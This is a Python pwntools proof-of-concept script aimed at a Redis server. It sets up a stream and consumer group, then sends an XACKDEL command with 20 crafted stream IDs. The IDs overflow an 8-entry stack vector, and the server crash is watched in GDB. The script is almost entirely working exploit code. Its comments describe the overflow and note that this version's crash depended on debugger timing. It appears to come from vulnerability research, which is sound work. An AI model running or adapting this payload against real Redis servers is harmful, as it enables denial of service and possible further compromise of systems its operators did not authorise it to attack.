#!/usr/bin/env python3 # Note that this first crash only happened due to delay introduced in GDB, likely the server threat closing the connection # Since it's still insightful, we kept it. See other file for working crash. from pwn import * # --- Configuration --- HOST = '127.0.0.1' PORT = 6379 # The number of IDs to send. STREAMID_STATIC_VECTOR_LEN is 8, so anything >8 will overflow. # We send 20 to ensure we overwrite past the buffer and into important stack data. NUM_IDS_TO_SEND = 20 # --- Main Exploit Logic --- def trigger_overflow(): # Establish a connection to the Redis server r = remote(HOST, PORT) # 1. Set up the stream and group. This is a prerequisite for XACKDEL. log.info("Setting up stream and consumer group...") setup_command = b"XGROUP CREATE mystream mygroup 0-0 MKSTREAM" r.sendline(setup_command) log.success(f"Setup response: {r.recvline().strip().decode()}") # 2. Construct the overflow payload log.info(f"Constructing payload with {NUM_IDS_TO_SEND} large-integer, valid-format IDs...") # We'll use a cyclic pattern for the first part of the ID, but keep the format valid. pattern = cyclic(NUM_IDS_TO_SEND * 8) payload_ids = [] for i in range(NUM_IDS_TO_SEND): # Take an 8-byte chunk of the pattern chunk = pattern[i*8 : (i+1)*8] # Convert this 8-byte chunk into a 64-bit integer # This will be a huge number, but it's a valid part of a stream ID first_part = u64(chunk) # Construct the final ID string, e.g., "1234567890123456-0" payload_id = f"{first_part}-{i}".encode() payload_ids.append(payload_id) # Build the final command string command_parts = [ b"XACKDEL", b"mystream", b"mygroup", b"IDS", str(NUM_IDS_TO_SEND).encode() ] + payload_ids payload = b" ".join(command_parts) log.info("Sending overflow payload...") print(f"Payload: {payload.decode()}") r.sendline(payload) # The server will crash, so we don't expect a reply. r.close() log.success("Payload sent! Check your GDB session for the crash.") if __name__ == "__main__": trigger_overflow()